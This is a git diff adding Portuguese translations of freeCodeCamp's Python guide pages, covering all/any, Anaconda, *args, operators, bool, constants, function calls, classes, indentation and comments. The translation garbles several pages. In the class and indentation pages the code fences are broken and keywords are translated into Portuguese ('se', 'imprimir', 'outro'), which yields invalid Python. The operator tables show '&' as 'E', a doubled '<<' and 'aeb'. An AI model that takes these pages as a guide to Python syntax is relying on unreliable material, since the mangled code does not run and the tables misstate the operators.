@@ -0,0 +1,43 @@
+---
+title: Python All Iterable
+localeTitle: Python All Iterable
+---
+`all()` é uma função interna do Python 3 (e do Python 2 desde a versão 2.5), para verificar se todos os itens de um [_iterável_](https://docs.python.org/3/glossary.html#term-iterable) são `True` . É preciso um argumento, `iterable` .
+
+## Argumento
+
+### iterável
+
+O argumento `iterable` é a coleção cujas entradas devem ser verificadas. Pode ser uma `list` , `str` , `dict` , `tuple` , etc.
+
+## Valor de retorno
+
+O valor de retorno é um booleano. Se e somente se **todas as** entradas de `iterable` são [truthy](https://guide.freecodecamp.org/python/truth-value-testing) , ele retorna `True` . Essa função essencialmente executa uma operação Booleana `AND` em todos os elementos.
+
+Se mesmo um deles não for verdade, ele retornará `False` .
+
+A operação `all()` é equivalente a (não implementada internamente exatamente assim)
+```
+def all(iterable): 
+    for element in iterable: 
+        if not element: 
+            return False 
+    return True 
+```
+
+## Amostra de código
+```
+print(all([])) #=> True  # Because an empty iterable has no non-truthy elements 
+ print(all([6, 7])) #=> True 
+ print(all([6, 7, None])) #=> False  # Because it has None 
+ print(all([0, 6, 7])) #=> False  # Because it has zero 
+ print(all([9, 8, [1, 2]])) #=> True 
+ print(all([9, 8, []])) #=> False  # Because it has [] 
+ print(all([9, 8, [1, 2, []]])) #=> True 
+ print(all([9, 8, {}])) #=> False  # Because it has {} 
+ print(all([9, 8, {'engine': 'Gcloud'}])) #=> True 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CL9U/0)
+
+[Documentos oficiais](https://docs.python.org/3/library/functions.html#all)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/anaconda/index.md b/client/src/guide/portuguese/python/anaconda/index.md
new file mode 100644
index 0000000000..43581de7fb
--- /dev/null
+++ b/client/src/guide/portuguese/python/anaconda/index.md
@@ -0,0 +1,27 @@
+---
+title: Anaconda
+localeTitle: Anaconda
+---
+**O Anaconda** é um gerenciador de pacotes, gerenciador de ambientes e distribuição Python com uma coleção de vários pacotes. O Anaconda é independente de plataforma, portanto, você pode usá-lo no Windows, macOS ou Linux. O Anaconda cria, salva, carrega e alterna facilmente entre ambientes em seu computador local. Foi criado para programas em Python, mas pode empacotar e distribuir software para qualquer idioma. O Anaconda como gerenciador de pacotes ajuda você a encontrar e instalar pacotes. Se você precisa de um pacote que requer uma versão diferente do Python, não é necessário mudar para um gerenciador de ambiente diferente, porque o Anaconda também é um gerenciador de ambiente. Com apenas alguns comandos, você pode configurar um ambiente totalmente separado para executar essa versão diferente do Python, enquanto continua a executar sua versão usual do Python em seu ambiente normal.
+
+## Visão geral
+
+A maneira mais rápida de começar a usar o conda é percorrer 20 minutos [Começando com o](https://conda.io/docs/user-guide/getting-started.html) guia [conda](https://conda.io/docs/user-guide/getting-started.html) .
+
+O comando `conda` é a principal interface para gerenciar instalações de vários pacotes. Pode:
+
+*   Consultar e pesquisar o índice do pacote Anaconda e o atual Instalação de Anaconda.
+    
+*   Crie novos ambientes conda.
+    
+*   Instalar e atualizar pacotes em ambientes conda existentes.
+    
+
+DICA: Você pode abreviar muitas opções de comando usadas com freqüência são precedidos por 2 traços ( `--` ) a apenas 1 traço e o primeiro carta da opção. Então `--name` e `-n` são os mesmos e `--envs` e `-e` são os mesmos.
+
+Para uso completo de cada comando, incluindo abreviações, consulte [Referência de comando](https://conda.io/docs/commands.html) .
+
+### Fontes
+
+1.  [Documentação Anaconda](https://docs.anaconda.com/)
+2.  [Documentação Conda](https://conda.io/docs/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/any-iterable/index.md b/client/src/guide/portuguese/python/any-iterable/index.md
new file mode 100644
index 0000000000..43ff3f0d28
--- /dev/null
+++ b/client/src/guide/portuguese/python/any-iterable/index.md
@@ -0,0 +1,42 @@
+---
+title: Python Any Iterable
+localeTitle: Python Any Iterable
+---
+`any()` é uma função interna do Python 3 (e do Python 2 desde a versão 2.5), para verificar se algum dos itens de um [_iterável_](https://docs.python.org/3/glossary.html#term-iterable) é `True` . É preciso um argumento, `iterable` .
+
+## Argumento
+
+### iterável
+
+O argumento `iterable` é a coleção cujas entradas devem ser verificadas. Normalmente pode ser uma `list` , `str` , `dict` , `tuple` , etc., até mesmo um `file object` .
+
+## Valor de retorno
+
+O valor de retorno é um booleano. Se e somente se **todas as** entradas de iteráveis ​​forem `False` , ou o `iterable` estiver vazio; ele retorna `False` . Essa função essencialmente executa uma operação booleana `OR` em todos os elementos.
+
+Se até um deles for `True` , ele retornará `True` .
+
+A operação `any()` é equivalente a (internamente, não pode ser implementada exatamente assim)
+```
+def any(iterable): 
+    for element in iterable: 
+        if element: 
+            return True 
+    return False 
+```
+
+## Amostra de código
+```
+print(any([])) #=> False 
+ print(any({})) #=> False 
+ print(any([None])) #=> False 
+ print(any(['', {}, 0])) #=> False 
+ print(any([6, 7])) #=> True 
+ print(any([6, 7, None])) #=> True 
+ print(any([0, 6, 7])) #=> True 
+ print(any([9, 8, [1, 2]])) #=> True 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CL9c/0)
+
+[Documentos oficiais](https://docs.python.org/3/library/functions.html#any)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/args-variable/index.md b/client/src/guide/portuguese/python/args-variable/index.md
new file mode 100644
index 0000000000..ba27c8580b
--- /dev/null
+++ b/client/src/guide/portuguese/python/args-variable/index.md
@@ -0,0 +1,47 @@
+---
+title: Relationships between * and args
+localeTitle: Relacionamentos entre * e args
+---
+## Presença de \* na definição de função
+
+```Python
+# How does *args work in a function definition 
+ 
+ def hardFunc(arg1, arg2): 
+    # create a tuple and pollute it with arguments passed to hardFunc 
+    args=(arg1, arg2) 
+    # print out results 
+    print(args[0]) 
+    print(args[1]) 
+ 
+ hardFunc('hard_one', 'hard_two') 
+ # output — Try it yourself now and in sequential snippets! 
+ 
+ def softFunc(*args): 
+    # at this point after calling softFunc a tuple with a name of a word 
+    # followed by * is created automatically (in this case the name is args) 
+    # print out results 
+    print(args[0]) 
+    print(args[1]) 
+ 
+ softFunc('soft_one', 'soft_two') 
+ 
+ # Now try to do something illegal 
+ hardFunc('one', 'two', 'three') 
+ 
+ # Now do things legally 
+ softFunc('one', 'two', 'three') 
+ 
+ # or even 
+ softFunc('one', 'two', 'three', 'infinity') 
+ 
+ # softFunc handles arbitrary amount of arguments easily by virtue of * syntax 
+ # So using a single variable name in conjuction with * we gained the ability 
+ # to invoke a function with arbitrary amount of arguments. 
+ 
+ # Once again when softFunc is called the newly args 
+ # tuple filled with provided arguments is created 
+ 
+ # Conclusion softFunc is a more flexible/dynamic verson of a hardFunc 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/basic-operators/index.md b/client/src/guide/portuguese/python/basic-operators/index.md
new file mode 100644
index 0000000000..d0be685260
--- /dev/null
+++ b/client/src/guide/portuguese/python/basic-operators/index.md
@@ -0,0 +1,328 @@
+---
+title: Basic Operators
+localeTitle: Operadores Básicos
+---
+## Operadores Básicos
+
+Operadores são símbolos que dizem ao interpretador para fazer uma operação específica (viz, aritmética, comparação, lógica, etc.)
+
+Os diferentes tipos de operadores em Python estão listados abaixo:
+
+1.  Operadores aritméticos
+2.  Operadores Relacionais
+3.  Operadores bit a bit
+4.  Operadores de atribuição
+5.  Operadores lógicos
+6.  Operadores de Associação
+7.  Operadores de Identidade
+
+#### Operadores aritméticos
+
+Um operador aritmético usa dois operandos como entrada, executa um cálculo e retorna o resultado.
+
+Considere a expressão **"a = 2 + 3"** . Aqui, `2` e `3` são os _operandos_ e `+` é o _operador aritmético_ . O resultado da operação é armazenado na variável a.
+
+Operador
+
+Descrição
+
+Uso
+
++
+
+Executa Adição nos operandos
+
+12 + 3 = 15
+
+\-
+
+Executa subtração nos operandos. Subtrai o operando direito do operando esquerdo
+
+12 - 3 = 9
+
+\*
+
+Executa a multiplicação nos operandos
+
+12 \* 3 = 36
+
+/
+
+Executa a divisão nos operandos. Divide o operando esquerdo pelo operando direito
+
+12/3 = 4
+
+Nota: Quando dois inteiros são usados, o resultado difere entre o Python 2 e o Python 3.
+
+5/2 = 2 no Python 2
+
+5/2 = 2,5 no Python 3
+
+%
+
+Executa um Modulo nos operandos. Retorna o restante obtido ao dividir o operando esquerdo pelo operando direito
+
+16% 3 = 1
+
+\*\*
+
+Executa uma operação de exponenciação. O operando da esquerda é elevado à potência do operando da direita
+
+12 \*\* 3 = 1728
+
+//
+
+Executa uma operação de divisão de piso. Retorna a parte integral do quociente obtido após o mergulho do operando esquerdo pelo operando direito
+
+18 // 5 = 3
+
+Nota: Para obter o resultado no tipo flutuante, um dos operandos também deve ser do tipo flutuante.
+
+#### Operadores Relacionais
+
+Um operador relacional é usado para comparar dois operandos para decidir uma relação entre eles. Ele retorna um valor booleano com base na condição.
+
+Operador
+
+Descrição
+
+Uso
+
+\>
+
+Retorna True se o operando da esquerda for maior que o operando da direita Retorna Falso de outra forma
+
+12> 3 devolve Verdadeiro
+
+<
+
+Retorna Verdadeiro se o operando direito for maior que o operando esquerdo Retorna Falso de outra forma
+
+12 <3 retorna falso
+
+\==
+
+Retorna True se ambos os operandos são iguais Retorna Falso de outra forma
+
+12 = = 3 retorna falso
+
+\> =
+
+Retorna Verdadeiro se o operando da esquerda for maior ou igual ao operando da direita Retorna Falso de outra forma
+
+12> = 3 devolve Verdadeiro
+
+<=
+
+Retorna True se o operando da direita for maior ou igual ao operando da esquerda Retorna Falso de outra forma
+
+12 <= 3 retorna falso
+
+! =
+
+Retorna True se ambos os operandos não forem iguais Retorna Falso de outra forma
+
+12! = 3 devolve Verdadeiro
+
+#### Operadores bit a bit
+
+Um operador bit a bit executa operações nos operandos pouco a pouco
+
+Considere a = 2 (em notação binária, 10) eb = 3 (em notação binária, 11) para os usos abaixo
+
+Operador
+
+Descrição
+
+Uso
+
+E
+
+Executa operação bit a bit AND nos operandos
+
+a & b = 2 Binário: 10 e 11 = 10
+
+|
+
+Executa operação OR bit a bit nos operandos
+
+a | b = 3 Binário: 10 | 11 = 11
+
+^
+
+Executa a operação XOR bit a bit nos operandos
+
+a ^ b = 1 Binário: 10 ^ 11 = 01
+
+~
+
+Executa operação NOT bit a bit no operando Vira cada bit no operando
+
+~ a = -3 Binário: ~ (00000010) = (11111101)
+
+\>>
+
+Executa um deslocamento à direita bit a bit. Desloca os bits do operando esquerdo, diretamente pelo número de bits especificado como operando à direita
+
+a >> b = 0 Binário: 00000010 >> 00000011 = 0
+
+<< <<
+
+Executa um deslocamento à esquerda bit a bit. Desloca os bits do operando esquerdo, deixados pelo número de bits especificado como operando à direita
+
+a << b = 16 Binário: 00000010 << 00000011 = 00001000
+
+#### Operadores de atribuição
+
+Um operador de atribuição é usado para atribuir valores a uma variável. Isso geralmente é combinado com outros operadores (como aritmética, bit a bit) onde a operação é executada nos operandos e o resultado é atribuído ao operando esquerdo.
+
+Considere os seguintes exemplos, **a = 18** Aqui `=` é um operador de atribuição e o resultado é armazenado na variável a. **a + = 10** . Aqui `+=` é um operador de atribuição e o resultado é armazenado na variável a. Isso é o mesmo que a = a + 10.
+
+Operador
+
+Uso
+
+\=
+
+a = 5. O valor 5 é atribuído à variável a
+
+\+ =
+
+a + = 5 é equivalente a = a + 5
+
+\- =
+
+a - = 5 é equivalente a = a - 5
+
+\* =
+
+a \* = 3 é equivalente a = a \* 3
+
+/ =
+
+a / = 3 é equivalente a = a / 3
+
+% =
+
+um% = 3 é equivalente a = a% 3
+
+\*\* =
+
+a \*\* = 3 é equivalente a = a \*\* 3
+
+// =
+
+a // = 3 é equivalente a = a // 3
+
+& =
+
+a & = 3 é equivalente a = a & 3
+
+| =
+
+a | = 3 é equivalente a = a | 3
+
+^ =
+
+a ^ = 3 é equivalente a = a ^ 3
+
+\>> =
+
+a >> = 3 é equivalente a = a >> 3
+
+<< =
+
+a << = 3 é equivalente a = a << 3
+
+#### Operadores lógicos
+
+Um operador lógico é usado para tomar uma decisão com base em várias condições. Os operadores lógicos usados ​​no Python são `and` , `or` e `not`
+
+Operador
+
+Descrição
+
+Uso
+
+e
+
+Retorna True se ambos os operandos forem True Retorna Falso de outra forma
+
+aeb
+
+ou
+
+Retorna True se qualquer um dos operandos for True Retorna Falso de outra forma
+
+a ou B
+
+não
+
+Retorna Verdadeiro se o operando for Falso Retorna Falso de outra forma
+
+não é um
+
+#### Operadores de Associação
+
+Um operador de associação é usado para identificar a associação em qualquer sequência (listas, cadeias de caracteres, tuplas). `in` e `not in` são operadores de associação
+
+`in` retorna True se o valor especificado for encontrado na sequência. Retorna False caso contrário. `not in` retornado True se o valor especificado não for encontrado na seqüência. Retorna False caso contrário.
+
+###### Exemplo de uso
+
+```py
+a = [1,2,3,4,5] 
+ 
+ #Is 3 in the list a? 
+ print 3 in a # prints True 
+ 
+ #Is 12 not in list a? 
+ print 12 not in a # prints True 
+ 
+ str = "Hello World" 
+ 
+ #Does the string str contain World? 
+ print "World" in str # prints True 
+ 
+ #Does the string str contain world? (note: case sensitive) 
+ print "world" in str # prints False 
+ 
+ print "code" not in str # prints True 
+```
+
+#### Operadores de Identidade
+
+Um operador de identidade é usado para verificar se duas variáveis ​​compartilham o mesmo local de memória. `is` e `is not` são operadores de identidade
+
+`is` retorna true se o operandos se referir ao mesmo objeto. Retorna False caso contrário. `is not` retorna True se os operandos não se referirem ao mesmo objeto. Retorna False caso contrário.
+
+Por favor note que dois valores, quando iguais, não implicam que sejam idênticos.
+
+###### Exemplo de uso
+
+```py
+a = 3 
+ b = 3 
+ c = 4 
+ print a is b # prints True 
+ print a is not b # prints False 
+ print a is not c # prints True 
+ 
+ x = 1 
+ y = x 
+ z = y 
+ print z is 1 # prints True 
+ print z is x # prints True 
+ 
+ str1 = "FreeCodeCamp" 
+ str2 = "FreeCodeCamp" 
+ 
+ print str1 is str2 # prints True 
+ print "Code" is str2 # prints False 
+ 
+ a = [10,20,30] 
+ b = [10,20,30] 
+ 
+ print a is b # prints False (since lists are mutable in Python) 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/bool-function/index.md b/client/src/guide/portuguese/python/bool-function/index.md
new file mode 100644
index 0000000000..57c6a024e7
--- /dev/null
+++ b/client/src/guide/portuguese/python/bool-function/index.md
@@ -0,0 +1,32 @@
+---
+title: Python Bool Function
+localeTitle: Função Python Bool
+---
+`bool()` é uma função interna do Python 3. Essa função retorna um valor booleano, ou seja, True ou False. Leva um argumento, `x` .
+
+## Argumentos
+
+Leva um argumento, `x` . `x` é convertido usando o [procedimento](https://docs.python.org/3/library/stdtypes.html#truth) padrão de [teste da verdade](https://docs.python.org/3/library/stdtypes.html#truth) .
+
+## Valor de retorno
+
+Se `x` for falso ou omitido, isso retornará `False` ; caso contrário, retorna `True` .
+
+## Amostra de código
+```
+print(bool(4 > 2)) # Returns True as 4 is greater than 2 
+ print(bool(4 < 2)) # Returns False as 4 is not less than 2 
+ print(bool(4 == 4)) # Returns True as 4 is equal to 4 
+ print(bool(4 != 4)) # Returns False as 4 is equal to 4 so inequality doesn't holds 
+ print(bool(4)) # Returns True as 4 is a non-zero value 
+ print(bool(-4)) # Returns True as -4 is a non-zero value 
+ print(bool(0)) # Returns False as it is a zero value 
+ print(bool('dskl')) # Returns True as the string is a non-zero value 
+ print(bool([1, 2, 3])) # Returns True as the list is a non-zero value 
+ print(bool((2,3,4))) # Returns True as tuple is a non-zero value 
+ print(bool([])) # Returns False as list is empty and equal to 0 according to truth value testing 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CVCS/2)
+
+[Documentos oficiais](https://docs.python.org/3/library/functions.html#bool)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/boolean-operations/index.md b/client/src/guide/portuguese/python/boolean-operations/index.md
new file mode 100644
index 0000000000..11480e0de2
--- /dev/null
+++ b/client/src/guide/portuguese/python/boolean-operations/index.md
@@ -0,0 +1,52 @@
+---
+title: Python Boolean Operations
+localeTitle: Operações booleanas em Python
+---
+[`and`](https://docs.python.org/3/reference/expressions.html#and) , [`or`](https://docs.python.org/3/reference/expressions.html#or) , [`not`](https://docs.python.org/3/reference/expressions.html#not)
+
+[Python Docs - Operações booleanas](https://docs.python.org/3/library/stdtypes.html#boolean-operations-and-or-not)
+
+Estas são as operações booleanas, ordenadas por prioridade crescente:
+
+Operação | Resultado | Notas  
+\--------- | ------------------------------------ | -----  
+x ou y | se x é falso, então y, senão x | (1)  
+x e y | se x é falso, então x, senão y | (2)  
+não x | se x é falso, então True, else False | (3)
+
+**Notas:**
+
+1.  Este é um operador de curto-circuito, então só avalia o segundo argumento se o primeiro for Falso.
+2.  Este é um operador de curto-circuito, por isso só avalia o segundo argumento se o primeiro for verdadeiro.
+3.  não tem uma prioridade mais baixa que os operadores não booleanos, portanto, não a == b é interpretada como não (a == b), e a == não b é um erro de sintaxe.
+
+## Exemplos:
+
+### `not` :
+```
+>>> not True 
+ False 
+ >>> not False 
+ True 
+```
+
+### `and` :
+```
+>>> True and False    # Short-circuited at first argument. 
+ False 
+ >>> False and True    # Second argument is evaluated. 
+ False 
+ >>> True and True     # Second argument is evaluated. 
+ True 
+```
+
+### `or` :
+```
+>>> True or False    # Short-circuited at first argument. 
+ True 
+ >>> False or True    # Second argument is evaluated. 
+ True 
+ >>> False or False   # Second argument is evaluated. 
+ False 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/built-in-constants/index.md b/client/src/guide/portuguese/python/built-in-constants/index.md
new file mode 100644
index 0000000000..fd6189f23d
--- /dev/null
+++ b/client/src/guide/portuguese/python/built-in-constants/index.md
@@ -0,0 +1,30 @@
+---
+title: Python Built in Constants
+localeTitle: Python construído em constantes
+---
+[Constantes](https://docs.python.org/3/library/constants.html)
+
+Três constantes internas comumente usadas:
+
+*   `True` : O verdadeiro valor do tipo de _bool_ . Atribuições para `True` levantam um _SyntaxError_ .
+*   `False` : o valor falso do tipo _bool_ . Atribuições para `False` _geram_ um _SyntaxError_ .
+*   `None` : o único valor do tipo _NoneType_ . Nenhum é freqüentemente usado para representar a ausência de um valor, como quando argumentos padrão não são passados ​​para uma função. Atribuições para `None` _geram_ um _SyntaxError_ .
+
+Outras constantes internas:
+
+*   `NotImplemented` : Valor especial que deve ser retornado pelos métodos especiais binários, como `__eg__()` , `__add__()` , `__rsub__()` , etc.) para indicar que a operação não está implementada com relação ao outro tipo.
+*   `Ellipsis` : Valor especial usado principalmente em conjunto com a sintaxe de fatiamento estendida para tipos de dados de contêiner definidos pelo usuário.
+*   `__debug__` : Verdadeiro se o Python não foi iniciado com uma opção -o.
+
+Constantes adicionadas pelo módulo do site O módulo do site (que é importado automaticamente durante a inicialização, exceto se a opção de linha de comando -S é fornecida) adiciona várias constantes ao namespace interno. Eles são úteis para o shell do interpretador interativo e não devem ser usados ​​em programas.
+
+Objetos que, quando impressos, imprimem uma mensagem como “Use quit () ou Ctrl-D (ou seja, EOF) para sair”, e quando chamado, eleve SystemExit com o código de saída especificado:
+
+*   sair (código = nenhum)
+*   exit (code = nenhum)
+
+Objetos que, quando impressos, imprimem uma mensagem como “Digite license () para ver o texto completo da licença” e, quando chamados, exibem o texto correspondente de maneira semelhante ao pager (uma tela por vez):
+
+*   direito autoral
+*   licença
+*   créditos
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/calling-functions/index.md b/client/src/guide/portuguese/python/calling-functions/index.md
new file mode 100644
index 0000000000..83d7478498
--- /dev/null
+++ b/client/src/guide/portuguese/python/calling-functions/index.md
@@ -0,0 +1,53 @@
+---
+title: Python Calling Functions
+localeTitle: Funções de chamada em Python
+---
+Uma declaração de definição de função não executa a função. Executando (chamando) uma função é feita usando o nome da função seguido de parêntese colocando argumentos requeridos (se houver).
+```
+>>> def say_hello(): 
+ ...     print('Hello') 
+ ... 
+ >>> say_hello() 
+ Hello 
+```
+
+A execução de uma função introduz uma nova tabela de símbolos usada para as variáveis ​​locais da função. Mais precisamente, todas as atribuições de variáveis ​​em uma função armazenam o valor na tabela de símbolos locais; enquanto que as referências de variáveis ​​primeiro aparecem na tabela de símbolos locais, depois nas tabelas de símbolos locais das funções delimitadoras, depois na tabela de símbolos globais e finalmente na tabela de nomes incorporados. Assim, variáveis ​​globais não podem ser diretamente atribuídas a um valor dentro de uma função (a menos que seja nomeado em uma declaração global), embora possam ser referenciadas.
+```
+>>> a = 1 
+ >>> b = 10 
+ >>> def fn(): 
+ ...     print(a)    # local a is not assigned, no enclosing function, global a referenced. 
+ ...     b = 20      # local b is assigned in the local symbol table for the function. 
+ ...     print(b)    # local b is referenced. 
+ ... 
+ >>> fn() 
+ 1 
+ 20 
+ >>> b               # global b is not changed by the function call. 
+ 10 
+```
+
+Os parâmetros reais (argumentos) para uma chamada de função são introduzidos na tabela de símbolos locais da função chamada quando é chamada; assim, argumentos são passados ​​usando call por valor (onde o valor é sempre uma referência de objeto, não o valor do objeto). Quando uma função chama outra função, uma nova tabela de símbolos locais é criada para essa chamada.
+```
+>>> def greet(s): 
+ ...     s = "Hello " + s    # s in local symbol table is reassigned. 
+ ...     print(s) 
+ ... 
+ >>> person = "Bob" 
+ >>> greet(person) 
+ Hello Bob 
+ >>> person                  # person used to call remains bound to original object, 'Bob'. 
+ 'Bob' 
+```
+
+Os argumentos usados ​​para chamar uma função não podem ser reatribuídos pela função, mas os argumentos que fazem referência a objetos mutáveis ​​podem ter seus valores alterados:
+```
+>>> def fn(arg): 
+ ...     arg.append(1) 
+ ... 
+ >>> a = [1, 2, 3] 
+ >>> fn(a) 
+ >>> a 
+ [1, 2, 3, 1] 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/class/index.md b/client/src/guide/portuguese/python/class/index.md
new file mode 100644
index 0000000000..01a4736cb8
--- /dev/null
+++ b/client/src/guide/portuguese/python/class/index.md
@@ -0,0 +1,71 @@
+---
+title: Class
+localeTitle: Classe
+---
+## Classe
+
+As classes fornecem um meio de agrupar dados e funcionalidades juntos. Criar uma nova classe cria um novo tipo de objeto, permitindo que novas instâncias desse tipo sejam feitas. Cada instância de classe pode ter atributos anexados a ela para manter seu estado. Instâncias de classe também podem ter métodos (definidos por sua classe) para modificar seu estado.
+
+Comparado com outras linguagens de programação, o mecanismo de classe do Python adiciona classes com um mínimo de nova sintaxe e semântica. É uma mistura dos mecanismos de classe encontrados em C ++. Classes Python fornecem todos os recursos padrão da Programação Orientada a Objetos: o mecanismo de herança de classes permite múltiplas classes base, uma classe derivada pode sobrescrever quaisquer métodos de sua classe ou classes base, e um método pode chamar o método de uma classe base com o mesmo nome. Objetos podem conter quantidades arbitrárias e tipos de dados. Como é o caso dos módulos, as classes participam da natureza dinâmica do Python: eles são criados em tempo de execução e podem ser modificados posteriormente após a criação.
+
+#### Sintaxe de Definição de Classe:
+
+A forma mais simples de definição de classe é assim:
+
+```python
+class ClassName: 
+    <statement-1> 
+        ... 
+        ... 
+        ... 
+    <statement-N> 
+ ``` 
+ 
+ #### Class Objects: 
+ 
+ Class objects support two kinds of operations: attribute references and instantiation. 
+ 
+ Attribute references use the standard syntax used for all attribute references in Python: `obj.name`. 
+ Valid attribute names are all the names that were in the class's namespace when the class object was created. 
+ So, if the class definition looked like this: 
+```
+
+python class MyClass: "" "Um exemplo simples de classe" "" i = 12345
+```
+def f(self): 
+    return 'hello world' 
+```
+
+```
+Then `MyClass.i` and `MyClass.f` are valid attribute references, returning an integer and a function object, respectively. 
+ Class attributes can also be assigned to, so you can change the value of `MyClass.i` by assignment. `__doc__` is also a valid attribute, returning the docstring belonging to the class: `"A simple example class"`. 
+ 
+ Class instantiation uses function notation. Just pretend that the class object is a parameterless function that returns a new instance of the class. For example (assuming the above class): 
+```
+
+python x = MyClass ()
+```
+Creates a new instance of the class and assigns this object to the local variable x. 
+ 
+ The instantiation operation (“calling” a class object) creates an empty object. 
+ Many classes like to create objects with instances customized to a specific initial state. 
+ Therefore a class may define a special method named __init__(), like this: 
+```
+
+python def **init** (self): self.data = \[\]
+```
+When a class defines an `__init__()` method, class instantiation automatically invokes `__init__()` for the newly-created class instance. 
+ So in this example, a new, initialized instance can be obtained by: 
+```
+
+python x = MyClass ()
+```
+Of course, the `__init__()` method may have arguments for greater flexibility. 
+ In that case, arguments given to the class instantiation operator are passed on to `__init__()`. For example, 
+```
+
+python Complexo de classe: def **init** (self, realpart, imagpart): self.r = realpart self.i = imagpart …
+
+x = complexo (3,0, -4,5)
+
+> > > xr, xi (3,0, -4,5) \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/code-blocks-and-indentation/index.md b/client/src/guide/portuguese/python/code-blocks-and-indentation/index.md
new file mode 100644
index 0000000000..e0137c23ff
--- /dev/null
+++ b/client/src/guide/portuguese/python/code-blocks-and-indentation/index.md
@@ -0,0 +1,48 @@
+---
+title: Python Code Blocks and Indentation
+localeTitle: Blocos de Código Python e Recuo
+---
+Em geral, é boa prática não misturar guias e espaços ao codificar em Python. Isso pode causar um `TabError` e seu programa `TabError` . Seja consistente quando você codifica - escolha recuar usando guias ou espaços e siga a convenção escolhida em todo o programa.
+
+#### Blocos de Código e Recuo
+
+Uma das características mais distintivas do Python é o uso de recuo para marcar blocos de código. Considere a declaração if do nosso programa simples de verificação de senha:
+
+\`\` \`python se pwd == 'apple': print ('Conectando-se…') outro: print ('Senha incorreta.')
+
+print ('Tudo pronto!')
+```
+The lines print('Logging on ...') and print('Incorrect password.') are two separate code blocks. These ones happen to be only a single line long, but Python lets you write code blocks consisting of any number of statements. 
+ 
+ To indicate a block of code in Python, you must indent each line of the block by the same amount. The two blocks of code in our example if-statement are both indented four spaces, which is a typical amount of indentation for Python. 
+ 
+ In most other programming languages, indentation is used only to help make the code look pretty. But in Python, it is required for indicating what block of code a statement belongs to. For instance, the final print('All done!') is not indented, and so is not part of the else-block. 
+ 
+ Programmers familiar with other languages often bristle at the thought that indentation matters: Many programmers like the freedom to format their code how they please. However, Python indentation rules are quite simple, and most programmers already use indentation to make their code readable. Python simply takes this idea one step further and gives meaning to the indentation. 
+ 
+ #### If/elif-statements 
+ An if/elif-statement is a generalized if-statement with more than one condition. It is used for making complex decisions. For example, suppose an airline has the following “child” ticket rates: Kids 2 years old or younger fly for free, kids older than 2 but younger than 13 pay a discounted child fare, and anyone 13 years or older pays a regular adult fare. The following program determines how much a passenger should pay: 
+```
+
+python
+
+# airfare.py
+
+age = int (input ('Quantos anos você tem?')) se idade <= 2: imprimir ('grátis') elif 2 <idade <13: print (tarifa de criança) outro: print ('tarifa para adultos')
+```
+After Python gets age from the user, it enters the if/elif-statement and checks each condition one after the other in the order they are given. So first it checks if age is less than 2, and if so, it indicates that the flying is free and jumps out of the elif-condition. If age is not less than 2, then it checks the next elif-condition to see if age is between 2 and 13. If so, it prints the appropriate message and jumps out of the if/elif-statement. If neither the if-condition nor the elif-condition is True, then it executes the code in the else-block. 
+ 
+ #### Conditional expressions 
+ Python has one more logical operator that some programmers like (and some don't!). It's essentially a shorthand notation for if-statements that can be used directly within expressions. Consider this code: 
+```
+
+python food = input ("Qual é a sua comida favorita?") reply = 'yuck' se comida == 'cordeiro' else 'yum'
+```
+The expression on the right-hand side of = in the second line is called a conditional expression, and it evaluates to either 'yuck' or 'yum'. It's equivalent to the following: 
+```
+
+python food = input ("Qual é a sua comida favorita?") se comida == 'cordeiro': reply = 'yuck' outro: reply = 'yum' \`\` \`
+
+As expressões condicionais são geralmente mais curtas do que as declarações if / else correspondentes, embora não sejam tão flexíveis ou fáceis de ler. Em geral, você deve usá-los quando eles tornarem seu código mais simples.
+
+[Documentação Python - Indentação](https://docs.python.org/3/reference/lexical_analysis.html#indentation)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/commenting-code/index.md b/client/src/guide/portuguese/python/commenting-code/index.md
new file mode 100644
index 0000000000..feb72646fe
--- /dev/null
+++ b/client/src/guide/portuguese/python/commenting-code/index.md
@@ -0,0 +1,38 @@
+---
+title: Python Commenting Code
+localeTitle: Python Comentando Código
+---
+Os comentários são usados ​​para anotar, descrever ou explicar o código que é complexo ou difícil de entender. O Python irá intencionalmente ignorar os comentários quando compilar o código de bytes pelo intérprete. [`PEP 8`](https://www.python.org/dev/peps/pep-0008/#comments) tem uma seção que trata dos comentários. Eles também aumentam a legibilidade do código adicionando linguagem fácil e descritiva para melhor compreensão.
+
+Comentários **em** **bloco** e **in** - **line** começam com `#` , seguido por um espaço antes do comentário:
+
+```python
+    # This is a block comment. 
+    print('Hello world!') # This is an inline commment. 
+```
+
+O Python não inclui uma maneira formal de escrever comentários de várias linhas. Cada linha de um comentário abrangendo várias linhas deve começar com `#` e um espaço:
+
+```python
+    # This is the first line of a multiline comment. 
+    # This is the second line. 
+```
+
+Outro tipo de comentário é o **docstring** , documentado no [`PEP 257`](https://www.python.org/dev/peps/pep-0257/) . Docstrings são um tipo específico de comentário que se torna o atributo `__doc__` .
+
+Para que uma string literal seja docstring, ela deve iniciar e terminar com `\"\"\"` e ser a primeira instrução do módulo, função, classe ou definição de método que está documentando:
+
+```python
+    class SomeClass(): 
+        """Summary line for SomeClass. 
+ 
+        More elaborate descriptions may require using a 
+        a multiline docstring. 
+        """ 
+ 
+        def method_a(self): 
+            """Single line summary of method_a.""" 
+            pass 
+```
+
+Os literais de string que começam e terminam com `"""` que não são docstrings (não a primeira instrução), podem ser usados ​​para strings de `__doc__` . Eles não se `__doc__` atributos `__doc__` Se eles não forem atribuídos a uma variável, eles não gerarão bytecode. Há alguma discussão sobre usá-los como comentários multilinha encontrados [aqui](http://stackoverflow.com/questions/7696924/multiline-comments-in-python) .
\ No newline at end of file
